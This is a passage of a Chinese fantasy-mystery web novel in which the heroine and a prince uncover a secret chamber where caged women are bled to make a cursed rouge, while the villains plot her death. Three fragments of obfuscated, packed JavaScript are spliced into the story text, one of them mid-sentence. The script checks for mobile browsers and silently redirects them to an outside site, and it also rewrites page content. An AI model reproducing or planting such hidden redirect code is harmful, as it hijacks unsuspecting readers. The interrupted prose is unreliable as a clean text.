小花和东风闻言,立刻强压下心中的愤怒与不适,分头在血腥弥漫的屋内和院子里仔细翻找起来。 桌椅箱柜、瓶瓶罐罐,任何角落都不放过。 林小满凝眉站在原地,心中思绪飞转。 她着实没想到,孙槐这条线索断得如此彻底干净! 一个活生生的、可能掌握着关键信息的人,就这么在她们眼皮底下被灭了口,连一丝有用的东西都来不及留下? 那“霉道长”行事未免太过滴水不漏。 正当她心中烦闷,下意识地环顾四周时,一股极其微弱、却与这浓重血腥气和残留阴煞截然不同的异常波动,轻轻触动了她的灵觉。 这波动……非常隐蔽,带着一种刻意营造的“遗忘”与“隔绝”之意。 她心中一动,猛地转身,想要更清晰地感知那股波动的来源。 却不料,裴昭不知何时已悄然站到了她身后不远处,正关切地看着她。她这一转身,险些直接撞进他怀里! 林小满反应极快,腰肢一拧,瞬间向后飘开两步,稳住了身形,略带歉意道:“王爷,抱歉,没撞到你吧?” 裴昭眼中几不可察地闪过一丝失落,快得让人无法捕捉,他面色如常地摇了摇头: “无妨。看你神色有异,可是发现了什么?” 林小满没有立刻回答,而是循着那丝微妙的感应,错开身,缓缓朝院门口走去。 她的目光锐利地扫过门槛、门楣以及两侧的墙壁,一边走一边沉声道: “不对劲……这院子周围,好像被人布下了一种咒术。” “咒术?”裴昭眉头微蹙,跟了上去。 “嗯,”林小满在院门口停下脚步,伸出手指,虚空中轻轻划过, “是一种很阴损的‘迷心障目咒’。此咒作用范围不大,但极其擅长混淆感知。” 她转过头,看向裴昭和小花他们,语气凝重: “布下此咒,会让无意间路过或探查此地的人,下意识地忽略这个院落的存在,觉得这里平平无奇,甚至会产生‘这里没什么可看的’的念头,从而主动避开或遗忘。 它还能在一定程度上抑制新死之魂的怨气扩散,让冤魂难以离开尸身太远,无法向外界传递信息或寻求帮助…… 看来,那‘霉道长’不仅是来灭口,更是想将这里彻底变成一座被遗忘的坟墓,拖延我们发现的时间!” 林小满叹了口气,走到宅院正中央,双手结印,口中念念有词,指尖灵光骤然大盛。 只听空气中传来一声细微的、如同玻璃碎裂般的“咔嚓”声,那股笼罩着院子的无形屏障瞬间消散。 破除了“迷心障目咒”后,院内的血腥气和怨气似乎都浓郁了几分。 只是,咒术刚破,林小满却微微蹙眉,她感觉这宅院除了刚才的咒术,似乎还有一丝别的、更隐晦的异常波动,但一时难以捕捉。 就在这时,小花的声音从一侧的书房传来,带着急促和兴奋: “小姐!王爷!快过来!这里有发现,这面墙后面是空的!好像是个密室!” 林小满与裴昭对视一眼,皆从对方眼中看到了凝重与期待,两人立刻快步走向书房。 书房内,小花正指着靠里的一面墙壁。 东风也已经闻声赶来,正用手四处敲打、摸索,想要找到机关所在,整个人显得有些焦急和杂乱无章。 “还没找到打开的方法。”小花补充道,眉头紧锁。 林小满走近,伸手在墙壁上仔细感知了一下,确实能察觉到后面有空洞的回响。 她沉声道:“情况紧急,不必费时寻找机关了,直接强行破开!” “是!”东风闻言,立刻运起内力,就要上前。 “退下,我来。”裴昭却伸手拦住了他。 东风愣了一下,看到裴昭眼中不容置疑的神色,立刻恭敬地退后一步:“是,王爷。” 裴昭凝神静气,眸光一凛,右掌猛然推出,携着雷霆万钧之势,重重拍向小花刚才所指的墙面! “轰!”一声闷响,墙壁剧烈震动,灰尘簌簌落下,可墙面却只是裂开了几道细密的缝隙,并未倒塌。 这墙壁竟异常坚固! 裴昭眼中闪过一丝讶异,随即再次聚力,又是一掌,比之前更为刚猛霸道! “砰——哗啦!” 这一次,墙壁再也承受不住这股巨力,应声破开一个大洞,碎石砖块向内塌陷,露出一个黑漆漆、深不见底的洞口,一股陈腐中夹杂着奇异香气的味道扑面而来。 密室入口,终于显现! 林小满毫不犹豫,从随身的布袋里掏出一颗鸡蛋大小的夜明珠,手腕一抖,夜明珠便悬浮在密室入口的正上方,将密室内的景象清晰地呈现在四人眼前。 当看清密室内的情形时,即便是见多识广的林小满和沉稳如山的裴昭,瞳孔也是骤然收缩,脸上露出了震惊之色。 眼前的景象,可谓触目惊心! 浓烈到令人作呕的血腥味,混杂着草药和某种奇异香料的气味,形成一种难以形容的甜腻恶臭。 靠墙摆放着一排排木架,上面密密麻麻地陈列着数十个透明的琉璃罐。 每一个罐子里,都盛满了暗鲜红的血液! 有些罐子里的血液似乎还添加了别的东西,呈现出诡异的色泽。 木架旁的桌子上,散乱地放着研磨工具、筛网、小巧的炉子以及各种瓶瓶罐罐,里面装着研磨好的粉末、提炼出的油脂和一些颜色怪异的汁液。 显然,这里就是一个秘密炼制那害人胭脂,“碧潭凝翠”的作坊! 那些罐中的鲜血,恐怕就是来自那些命格属阴的可怜女子! 第162章 试验的小白鼠 “这……这简直是魔鬼的巢穴!”东风倒吸一口凉气,被眼前的景象骇得脸色发白。 就在这时,小花突然发出一声短促的尖叫:“啊——!” 几人立刻循声望去,这才发现,在密室的角落里,竟然并排放置着三四个锈迹斑斑的铁笼! 每个笼子都不过半人高,里面赫然蜷缩着人影! 借着夜明珠的光线,可以看清那是几个衣衫褴褛、面色惨白如纸的女子。 她们双目紧闭,气息微弱,不知是昏死过去还是睡着了,身上或多或少都带着伤痕。 小花的尖叫声似乎惊动了她们。 其中两个女子眼皮颤动了几下,缓缓睁开了眼睛。 然而,她们的眼中没有丝毫神采,只有一片死寂的空洞和麻木,如同失去了灵魂的躯壳,茫然地望向光源的方向,对闯入者似乎也毫无反应,宛如行尸走肉一般。 眼前的景象,比外面堂屋的灭门惨案更让人心头发寒。 这不仅仅是杀人,更是将活人当作牲畜般囚禁、取血、榨干利用!其残忍程度,令人发指! 东风被眼前这地狱般的景象气得浑身发抖,他猛地一拳砸在旁边的墙壁上,怒骂道: “畜生!猪狗不如的畜生!为了那点邪术,竟然……竟然把活人当牲口一样关在笼子里取血! 她们做错了什么?!那姓孙的也是个该千刀万剐的帮凶!死有余辜!” 小花也气得眼圈发红,声音带着哽咽和愤怒: “简直不是人!她们还这么年轻……被关在这种暗无天日的地方,天天被取血,这比直接杀了她们还要残忍百倍! 那个‘霉道长’和孙槐,就该下十八层地狱,永世不得超生!” 裴昭的脸色阴沉得能滴出水来,他强压下翻涌的怒火,目光扫过笼中那些眼神空洞、形销骨立的女子,沉声问道: “林小姐,这些女子……莫非也都是极阴命格之人?孙槐将他们囚禁于此,就是为了长期供那邪道取血,炼制‘碧潭凝翠’?” 若果真如此,那这邪道所害之人,恐怕远不止表面这些,其罪行简直罄竹难书! 林小满面色阴沉地摇了摇头,否定了裴昭的猜测: “不,王爷,您仔细看她们的状态。这些女子,并非极阴命格之人。” 她走近铁笼,指着笼中女子那空洞无神、像是被抽走了灵魂般的眼睛, “她们更像是孙槐找来的‘试验品’,是用来测试‘碧潭凝翠’效果的‘小白鼠’。” “你们看她们的眼神,完全失去了自我意识,只剩下麻木的空洞。这正是长期、过量使用‘碧潭凝翠’,心神被其中阴煞怨力彻底侵蚀控制的典型症状!” 林小满的语气带着压抑的怒火,“那邪物初时只是潜移默化影响心绪,但若持续使用,尤其是被刻意加大剂量,便会逐渐蚕食使用者的神智。 外表或许看不出太大异样,但内里早已沦为傀儡,会在施术者需要时,无条件地听命行事,如同行尸走肉!” 她深吸一口气,继续道:“这几个女子,恐怕就是被当成了试验对象,被迫使用了远超常量的‘碧潭凝翠’,才变成了如今这般模样。 孙槐囚禁她们,既是为了观察药效,也是为了在需要时,将她们作为完全受控的棋子来使用!” 裴昭闻言,眸中的寒意更盛,他缓缓道: “如此说来,这‘碧潭凝翠’的危害,比我们预想的还要可怕。它不仅害命,更能控人心智。若任由其在京城流传,后果不堪设想!” 一旁的东风早已听得怒火中烧,他猛地转身就要往外冲: “我现在就去通知李府尹!让他立刻下令,全城搜捕那个该死的‘霉道长’!掘地三尺也要把他揪出来!” “你给我站住!”小花眼疾手快,一把揪住了东风的耳朵,把他拽了回来,没好气地训斥道: “你这莽撞的性子什么时候能改改?你倒是告诉我,你知道那‘霉道长’长什么模样吗?是高是矮?是胖是瘦?脸上有没有疤?你让官府的人去抓谁?抓空气吗?” 东风被揪得龇牙咧嘴,却也瞬间冷静下来,讪讪地挠了挠头: “呃……这个……我、我一着急就给忘了……那、那我们现在怎么办?” “等等!不对啊!”东风突然像是想到了什么关键,猛地一拍大腿,脸上露出恍然大悟的神情, “孙槐一家四口都被灭口了,如果真是‘霉道长’亲自来干的,他心思那么缜密狠毒,为什么单单留下这个密室? 直接把这里捣毁、放把火烧个干净,不是更安全、更彻底吗?何必留着这明显的罪证?” 小花闻言,蹙眉思索道: “咦?你这么一说……确实很奇怪。这密室里的东西,每一样都够他掉脑袋的。他杀了人,却没毁掉最关键的证据,这不合常理啊!” 两人的目光都投向了林小满和裴昭,寻求答案。 林小满没有立刻回答,而是转而看向裴昭,眼中带着考较和探讨的意味: “王爷,您觉得呢?此事确实有些蹊跷。” 裴昭眸光深邃,他环视了一下这血腥又诡异的密室,又看了一眼外面堂屋的方向,沉吟片刻,缓缓开口道: “东风所虑,不无道理。但或许,这正是那‘霉道长’的狡猾之处。” “第一,时间紧迫。他从得到血魅失手的消息,到赶来灭口,中间间隔不会太长。 杀人容易,但要彻底毁掉这样一个密室,尤其是里面这些瓶罐和……活人,需要时间处理,动静也不会小。 他可能担心逗留过久,会恰好与我们撞上,或者引来巡夜官兵,反而暴露行踪。” “第二,混淆视听。他或许认为,孙槐一死,这条线就断了。留下这个密室,反而可能误导查案之人,让人以为这仅仅是孙槐个人丧心病狂的行径,从而掩盖他自身的存在和更大的图谋。 毕竟,一个调香师傅私下用邪法害人,比背后有一个庞大邪恶的组织,听起来‘合理’得多,也更容易结案。” “第三,”裴昭的目光扫过那些眼神空洞的女子和满架的血罐,语气更冷, “这些‘试验品’和半成品,对他而言,或许还有未尽的‘价值’。仓促之间,他可能舍不得,或者来不及妥善‘处理’掉。” “当然,还有一种可能,”裴昭最后补充道, “他足够自信,自信即使我们找到了这里,也无法凭这些线索追查到他。留下密室,或许……本身就是一种挑衅。” 第163章 青阳呢?他去哪里了? 裴昭一番条理清晰的分析说完,东风听得两眼放光,脸上满是毫不掩饰的赞叹与崇拜,他用力一拍手,激动地说道: “王爷!您分析得太对了!简直是一针见血!肯定是这样没错! 那‘霉道长’必定就是仗着自己有点邪门歪道的本事,觉得我们就算找到这密室也奈何不了他,所以才敢这么嚣张,故意留下这些东西挑衅我们!真是太可恶了!” 他发泄完对“霉道长”的愤慨,又立刻转向林小满,脸上带着求证般的期待,语气热切地问道: “林小姐,您觉得呢?王爷分析的是不是就是事实?那老贼是不是就打的这个狂妄主意?” 林小满听完裴昭的分析,却缓缓摇了摇头,她目光扫过密室内的惨状,冷静地开口: “王爷的分析在常理上无懈可击,但若结合方才的时间线,却有一处关键矛盾。” 她看向东风和小花,详细解释道: “从我感应到血魅出现,与小花赶过去制服它,再到后来召唤阴差将其送入地府,整个过程看似曲折,实则紧凑,最多不超过一炷香的时间。 之后我们立刻动身赶来此处,路上虽有耽搁,满打满算,从血魅失手到我们抵达孙槐家门外,总共也就半个时辰左右。” “在这短短半个时辰内,‘霉道长’要第一时间得到消息,再赶来**灭口,时间确实非常仓促。 **容易,但要彻底、无声无息地毁掉这样一个装满证据、甚至还有活口的密室,绝非易事,动静绝不会小。 按常理,他确实可能因为时间不够而放弃彻底销毁。” 东风听得连连点头: “对对对,林小姐您的意思是,他其实不是挑衅,而是真的没时间?” “不,”林小满再次摇头,眼神变得锐利, “我刚才忽略了一个重要的细节,血魅身上的‘噬魂锁心咒’!” 她语气凝重地继续道: “此咒歹毒之处在于,主咒者能大致感知受咒者的状态。在我用符箓暂时隔绝那禁制之前,‘霉道长’很可能就已经察觉到血魅任务受阻、甚至被擒!这个‘察觉’的时间点,远比我们最终送走血魅要早得多!” “这意味着什么?”林小满目光扫过众人, “意味着‘霉道长’有更充裕的反应时间!以他的狡猾和多疑,一旦察觉血魅失手,他绝不会坐以待毙。 他很可能立刻就能推断出,血魅有可能在我们逼问下吐露孙槐这个关键人物!” “所以,他完全有足够的时间,派心腹甚至亲自提前赶来灭口,并且有更充分的时间来处理这个密室。但他却没有这么做。” 林小满指向满架的血罐和笼中的女子,声音冰冷: “唯一的解释是,在他眼里,这个密室,以及里面这些‘试验品’和半成品,已经失去了价值,成了可以随意丢弃的废棋!” “我们已经知晓了‘碧潭凝翠’的存在和大致危害。对他而言,再用同样隐秘的方式慢慢渗透已经行不通了。 他很可能已经改变了策略,或者有了更阴毒、更迅速的计划。这个旧据点暴露与否,对他接下来的行动影响不大,他甚至可能乐见其成,以此扰乱我们的视线,让我们将精力耗费在调查一个他已经放弃的‘废案’上。” “更重要的是,”林小满最后沉声道, “他极其自信,自信我们无法通过这些‘过期’的线索找到他。这不完全是挑衅,更像是一种对我们能力的蔑视和对自身手段的绝对自信。” 林小满这番分析一说完,小花立刻眼睛一亮,比起刚才东风对裴昭那直白的崇拜,她显得更加与有荣焉,带着点小得意地瞥了东风一眼,然后挽住林小满的胳膊,声音清脆: “小姐!您真是太厉害了!我就说嘛,那老贼怎么可能只是简单的没时间!您这一分析,直接把他的老底都快掀开了! 这才是真正看透了他那点龌龊心思!比某些人只会拍马屁可强多了!” 说着,还意有所指地又瞟了东风一下。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16539779|186603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 东风被小花连损带刺地说了一通,脸上顿时有些挂不住,他梗着脖子反驳道: “喂!臭小花!你这话什么意思?我怎么就拍马屁了?王爷分析得本来就有道理!林小姐分析得更有道理! 我这叫……叫虚心听取,明辨是非!哪像你,就知道胳膊肘往里拐,一味地捧自家小姐!” “你说谁胳膊肘往里拐?”小花柳眉倒竖,眼看两人又要斗起嘴来。 “好了,现在不是争执这个的时候。”裴昭低沉的声音响起,瞬间让东风和小花都安静了下来。 他紧皱着眉头,面色凝重地看向林小满,沉声道: “林小姐所言,思虑更为周全,切中要害。如此看来,那‘霉道长’心思之深沉、行事之果决,远超我等预估。” 他顿了顿,“只是,如此一来,孙槐这条线彻底断了,这密室也成了他故意舍弃的废棋。我们眼下,岂不是又失去了所有明确的指向? 秦小将军之事是‘霉道长’所为,如今这祸乱京城的‘碧潭凝翠’亦是他的手笔。从这两件事已然可以断定,其目的绝非小打小闹,而是意在搅得整个京城天翻地覆,人心惶惶。” 他的目光扫过密室内的血腥和笼中的惨状,最终缓缓抬起,望向窗外沉沉的夜色,像是要穿透这黑暗,看清那幕后黑手的真正图谋。 他没有再说下去,但未尽之语如同沉重的巨石压在每个人心头。 室内的气氛瞬间变得更加压抑。 霉道长所作所为,桩桩件件,恐怕并非仅仅是想让京城朝堂动荡、秩序混乱那么简单。 他想要的……或许是整个大胤王朝的根基动摇,是倾覆天下的滔天巨浪! 就在这时,东风猛地一拍脑袋,像是突然抓住了什么被忽略的细节,急急地看向林小满问道: “等等!林小姐!我总觉得哪里不对劲,现在终于想起来了!您之前不是让青阳去办事了吗?怎么从血魅出现到现在,一直没见着他的人影?他去哪儿了?” 第164章 报官 林小满似乎早就料到会有此一问,平静地回答道: “我确实吩咐了青阳去办事,但并非让他参与追击血魅或来此搜查。” “那他是去……”东风更加疑惑。 “我让他去盯着雪香斋的掌柜,贾富贵了。”林小满淡淡道。 “贾富贵?”东风闻言更是不解,声音都提高了几分, “刚才那血魅不是交代得很清楚吗?此事贾富贵完全被蒙在鼓里,他并不知情啊!为何还要特意派人去盯着他?” 林小满目光微凝,语气带着一丝不易察觉的冷意: “‘碧潭凝翠’之事,贾富贵或许确实不知情。但这并不意味着他本人就干净。此人身上……还藏着别的事情,或许与那‘霉道长’无关,但也绝非凡俗。” 东风还想再追问具体是什么事,就在这时,铁笼里另外两个一直昏睡的女子似乎被他们的对话声惊扰,眼皮剧烈颤动了几下,也缓缓苏醒过来。 与先前那两个眼神空洞、麻木的女子不同,这两名女子一睁开眼,看清站在笼外的林小满等人。 立刻像是受惊的兔子,爆发出凄厉至极的尖叫,拼命地向笼子角落缩去,双手胡乱挥舞着,口中不住地哭喊: “救命啊!别过来!求求你们放过我吧!救命啊!” 她们的叫声在狭小的密室里显得格外刺耳。 裴昭和林小满对视一眼,瞬间明白了这两名女子恐怕是刚被囚禁不久,神智尚未被完全侵蚀,还保留着强烈的求生本能和恐惧。 “小花?”林小满低喝一声,与小花同时上前,各自迅速来到一名尖叫的女子面前。 两人动作如出一辙,右手食指与中指并拢,指尖快如闪电般点向女子的眉心! “静心,安魂,定!”随着一声轻叱,灵光没入女子额头。 那两名原本惊恐万状、尖叫不止的女子,身体猛地一颤,眼中的极度恐惧如同潮水般退去,取而代之的是一种茫然的平静, 叫声戛然而止,身体软软地靠在笼壁上,虽然依旧虚弱,但情绪已然稳定下来。 见女子们情绪稳定下来,东风连忙上前,用刀劈开锈蚀的锁头,小心翼翼地将四名女子从狭小的铁笼中搀扶出来。 她们身体虚弱,几乎无法自行站立。 林小满和小花扶着她们在密室相对干净的空地上席地而坐,林小满指尖凝聚柔和灵力,依次轻点她们的额心,细细探查。 片刻后,她站起身,走到裴昭身边,语气带着一丝疲惫但依旧清晰: “王爷,辛苦您通知官府过来接手吧。她们身上残留的邪祟之气我已暂时祛除,性命无碍。 但心神受损太重,想要完全恢复神智,并非易事,需要很长时间的静养和家人的悉心照料。 从她们口中,恐怕问不出更多关于‘霉道长’的线索了。” 东风一听,立刻应声道:“是!属下这就快马去京兆尹府报案!” 林小满又看向这满目疮痍的密室和外面的尸体,对裴昭道: “这里……也一并交由官府处理吧。至于该如何向府尹大人陈述今夜之事,哪些该说,哪些不该说,就得劳烦王爷您来把握了。” 裴昭颔首:“好,我明白。自有分寸。” “时辰已经不早了,此地有王爷主持大局,我便先带小花回府了。” 林小满说着,招呼了小花一声,两人便欲转身离开。 “林小姐请留步,”裴昭忽然出声叫住了她,神色略显凝重, “还有一事。关于我身上咒术一事,此前我已禀明圣上。圣上派了暗卫暗中调查,日前曾传回消息,称查到些许眉目,为防消息泄露,言明不日将返京面圣详禀。 但自那封传书之后,这批暗卫……已失去联络多日了。林小姐您看,此事是否与‘霉道长’有关联?” “什么?失去联系?”林小满脚步一顿,霍然转身看向裴昭,眉头紧锁, “他们具体查到了什么线索,信中有无提及?” 裴昭摇头:“信笺用语极为谨慎,只提及‘略有进展’,为避 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16539780|186603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 免中途横生枝节,决定回京面陈。除此之外,再无更多信息。” 林小满沉吟片刻,“王爷,立刻让你的人停止相关调查,全部按兵不动,切勿再派人外出寻找或深入探查。 对方手段狠辣诡异,贸然行动只怕会徒增伤亡。 当务之急,是想办法秘密找到那些失踪暗卫的贴身物品,哪怕是一缕头发、常佩的玉佩或穿过的旧衣也可,越快越好!” 裴昭面色肃然,重重点头:“嗯,我即刻去办。” 他见林小满又要走,再次开口,语气带着关切: “林小姐,此刻夜深,城外亦不太平。不如稍等片刻,待东风回来,让他带一队护卫护送你们回府?” 林小满闻言,却是淡然一笑,婉拒了他的好意: “王爷的好意心领了。不过不必麻烦东风了,我们自己回去便可。我们的本事,王爷还不清楚吗?寻常宵小,还近不了我们的身。 倒是这里后续的一摊子事,要辛苦王爷您料理了。” 说罢,她对着裴昭微一颔首,便与小花一同转身,身影很快消失在密室入口的黑暗中。 裴昭站在原地,望着她们离去的方向,目光深沉,不知在想些什么。 林小满和小花的身影融入夜色,密室中只剩下裴昭、四名惊魂未定的女子以及外面堂屋那几具冰冷的尸体。 空气中弥漫的血腥与绝望并未随她们的离开而消散,反而更显沉重。 裴昭独立于这片狼藉之中,内心可谓是波澜起伏,这是以前上战场杀敌从未有过的感受。 今夜虽未能擒住那神龙见首不见尾的“霉道长”,但这条隐藏极深的大鱼,总算被他们逼得显露出了一鳞半爪。 这次的收获,说大不大,未能直捣黄龙;说小却也不小,至少彻底捣毁了这个害人的魔窟,救下了几条无辜性命,更窥见了对方图谋之巨、手段之毒。 可以预见,经此一事,“霉道长”势必会更加警惕、隐藏得更深,京城表面或许会迎来一段短暂的、虚假的安宁。 第165章 林小满必死! 但这安宁之下,是更汹涌的暗流。他们与那邪道之间,已然结下了不死不休的梁子,真正的较量,恐怕才刚刚开始。 他的目光缓缓移向外面堂屋,孙槐那具逐渐僵硬的尸体显得格外凄凉。 裴昭心中一时五味杂陈,难以名状。 是非对错,早在孙槐选择与邪魔为伍、残害生灵之时便已有了定论。 落得如此下场,是咎由自取。 可看着这满门灭绝的惨状,想到那两个年幼无辜的孩子,裴昭心中却并无多少快意,唯有对幕后元凶更深的憎恶与一种沉甸甸的责任感。 这京城,这天下,绝不容邪佞如此肆虐! 与此同时,京城某处隐秘的宅邸深处,烛光摇曳。 雪香斋掌柜贾富贵,此刻全然不见平日里的圆滑谄媚,他恭敬地匍匐在地,额头紧贴冰冷的地面。 在他面前,站立着一位身着宽大黑袍、脸上覆盖着狰狞鬼面具的男子。 昏暗的光线下,男子垂在身侧的左手手背上,一个形似梅花的暗红色胎记若隐若现,平添几分诡异。 “幽主,”贾富贵的声音带着敬畏, “孙槐一家已按计划处理干净,绝无活口。只是……那密室连同里面的东西,未能及时销毁,恐怕……恐怕已落入林小满和昭王爷手中。” 被称作“霉道长”的黑袍男子并未立刻发作,面具下传来低沉而略显沙哑的声音,听不出喜怒: “贾富贵,京城近日接连失手,尊主已然知晓。” 贾富贵身体微微一颤,头垂得更低。 霉道长继续道:“不过,尊主宽宏,念你多年经营不易,暂未降下责罚。 但你需明白,如今孙槐、血魅皆已折损,那林小满绝非等闲之辈,顺藤摸瓜,查到你是迟早的事。 我们在京城二十余年的根基,耗费无数心血,绝不可因一人而毁于一旦!” 此时的贾富贵缓缓抬起头,脸上已无半分平日的市侩之气,取而代之的是一种冷厉果决,眼中精光闪烁,与之前判若两人。 他沉声道:“请幽主放心!属下明白其中利害。林小满此女,必除之而后快!属下必定倾尽所能,想尽一切办法,在她查到更多之前,将其铲除!” 霉道长微微颔首,面具后的目光似乎更加幽深: “嗯。林小满不除,必成心腹大患,后患无穷。” 贾富贵眼中杀意凛然,语气斩钉截铁:“是!属下绝不会让一个林小满,阻碍了尊主筹谋多年的大业!” 霉道长冷哼一声,“京城目前的计划,全部暂缓,静观其变。待此次风波过后,再行商议下一步。眼下重中之重,便是解决林小满这个变数!” “属下明白!”贾富贵恭声应道,随即起身,身影很快消失在夜色之中。 他自以为行事隐秘,却丝毫未曾察觉,在他离去后不久,身后不远处一个不起眼的屋檐阴影下,一道几乎与夜色融为一体的身影悄然显现,正是奉命盯梢的青阳。 他再次看了一眼府邸,随即身形一晃,悄无声息地跟了上去。 …… 林府后院,林小满和小花悠闲地坐在石凳上,面前摆着一碟瓜子,正一边嗑着,一边听着刚刚返回的青阳绘声绘色地描述方才的见闻。 “仙子姐姐,你是没看见!”青阳压低声音,脸上带着几分兴奋和后怕, “那贾富贵,平日里在铺子里一副唯利是图、点头哈腰的奸商模样,任谁看了都只觉得他是个上不得台面的小人。 没想到啊没想到,他背地里竟是这般角色!对着那‘霉道长’恭敬得跟什么似的,说话条理清晰,眼神狠厉,跟我之前盯梢时看到的简直判若两人! 我差点还真信了他对‘碧潭凝翠’之事一无所知呢!” 小花吐掉瓜子壳,啧啧称奇:“还真是会咬人的狗不叫!藏得可真深!” 林小满轻轻捻着瓜子,眼神若有所思: “若非他此次主动去见‘霉道长’露了马脚,连我都险些被他蒙骗过去。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16539781|186603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 此人身上不知用了何种方法,竟能完全遮掩住邪祟之气,显得与常人无异,单凭这点,他在那组织里的地位恐怕就不低。” 她看向青阳,问道:“你可看清那‘霉道长’的模样?” 青阳连忙摇头,脸上露出一丝懊恼: “没有。他整个人都罩在宽大的黑袍里,脸上还戴着个吓人的鬼面具,根本看不清长相。 仙子姐姐您吩咐过,只可远观,不可打草惊蛇,我就没敢靠太近。 就我这三脚猫的隐匿功夫和修为,要是真被他发现了,动起手来,估计连跑都够呛!” 林小满点了点头,赞许道:“你做得对,谨慎为上。能驾驭血魅、布下如此大局之人,绝非易与之辈,贸然接近太危险。能查到贾富贵这条暗线,已是意外之喜。” 青阳脸上露出一丝担忧,忍不住问道:“仙子姐姐,那现在怎么办?听他们那意思,分明是打算直接对您下**了!明枪易躲,暗箭难防啊!” 林小满闻言,却是不慌不忙地又嗑了一颗瓜子,唇角勾起一抹淡然却又带着几分凌厉的弧度:“兵来将挡,水来土掩。想取我性命的人,从前到现在,从来就没少过。至于能不能成,那就要看他们有没有这个本事了。” 她放下瓜子,拍了拍手上的碎屑,眼神逐渐变得锐利而坚定: “此事,若我未曾遇见,倒也罢了。既然撞到了我手里,让我知晓了这背后害人的勾当和滔天阴谋,我便绝不会袖手旁观! ‘霉道长’身后还有所谓的‘尊主’,牵扯定然极广,所图绝非小事。无论如何,我定会查个水落石出! 他们想成就那祸乱天下的大业?我偏要想法设法,将它彻底摧毁!不管他们隐藏得多深,有多少党羽,我也会一个个把他们揪出来,让他们再也无法为祸人间!” 小花一听,立刻激动地挥舞着小拳头,眼睛亮晶晶的: “小姐说得对!算我一个!把这些坏蛋统统揪出来打趴下!让他们知道我们的厉害!” 第166章 我不去江南 青阳也被这气氛感染,胸膛一挺,虽然还有点紧张,但也努力做出勇敢的样子: “还、还有我!仙子姐姐,虽然我本事不大,但跑腿放风、盯梢报信我还是可以的!我也要帮忙!” 看着身边斗志昂扬的两人,林小满脸上露出了今晚第一个真正轻松的笑容,她伸手揉了揉小花的脑袋,又对青阳点了点头: “好!那咱们就一起,跟他们好好斗上一斗!看看最后,到底是谁能笑到最后!” 林小满收敛了笑容,正色对青阳吩咐道: “青阳,贾富贵这条线至关重要,还得继续辛苦你盯着。他那边有任何风吹草动,务必第一时间告知我。切记,只可监视,绝不可轻举妄动,打草惊蛇!” “仙子姐姐放心,我明白!保证盯得牢牢的,又不让他发现!”青阳用力点头,神色认真。 安排完青阳,林小满却轻轻叹了口气,眉宇间掠过一丝深思。 细心的立刻小花察觉到了,关切地问道: “小姐,怎么了?是不是觉得这事特别棘手,对方太难对付了?” 林小满摇了摇头,目光投向深邃的夜空,缓缓道: “难对付是必然的。我是在想另一件事……你还记得裴昭身上中的那个咒术吗?” 小花点了点头。 林小满继续道:“近日接触下来,尤其是处理血魅身上的‘噬魂锁心咒’时,我便隐隐觉得那咒术的气息有些熟悉。 方才仔细回想,其运转的根基、那股阴邪的韵味,与裴昭所中之咒,可谓系出同源!” 她顿了顿,语气变得更加凝重:“按照常理,对裴昭下那种霸道咒术的人,一旦咒术被强力破除或反噬,施术者本人绝无生还的可能,必遭横死。 可如今,听青阳带回来的消息,他们是一个有‘尊主’、有严密组织的团体。这意味着什么?” 小花倒吸一口凉气,接话道:“意味着……反噬死掉一个,他们还有千千万万个可以顶上?裴昭中的咒,很可能也是他们这个组织下的手?” 青阳听得瞪大了眼睛,惊讶道:“啊?王爷和这件事情也有关系吗?” 林小满看了青阳一眼,摆了摆手:“此事关系重大,内情复杂,你暂且不必深究,只当不知我刚才说的话便是。” “哦,好的。”青阳虽然满心好奇,但还是乖巧地应下。 林小满心中却难以平静。 她隐隐感觉到,自从她来到这人间之后,所遭遇的种种事件,从最初介入裴昭的咒术,到后来秦小将军的异常,再到如今“碧潭凝翠”引发的连环阴谋。 看似独立,背后却仿佛被一条无形的线串联着。 而这条线,最终都指向一个庞大而黑暗的阴谋网络。 就目前掌握的时间线索来看,裴昭身中咒术,是发生得最早的事件。 裴昭命格特殊,身负罕见的紫气与煞气,对于修炼某些邪术的人来说,无疑是极具诱惑的“鼎炉”或目标。 被那所谓的“尊主”或其党羽盯上,倒也合乎逻辑。 这潭水,比她最初想象的还要深得多。 翌日。 “我不去!我在京城待得好好的,为什么非得让我去江南? 难道江南的夫子还能比京城的太傅更有学问不成?若是让我去探望外祖父、外祖母,陪他们小住些时日,孩儿绝无二话! 可为什么偏偏是要我长期寄居,还在那边进学?” 林景明梗着脖子,一脸不忿地对着端坐上的父亲林之言和母亲沈清秋发脾气。 他见父母面色严肃,丝毫不为所动,心中更急,一把拉过坐在一旁、眉头紧蹙欲言又止的长姐林知鸢,求助道: 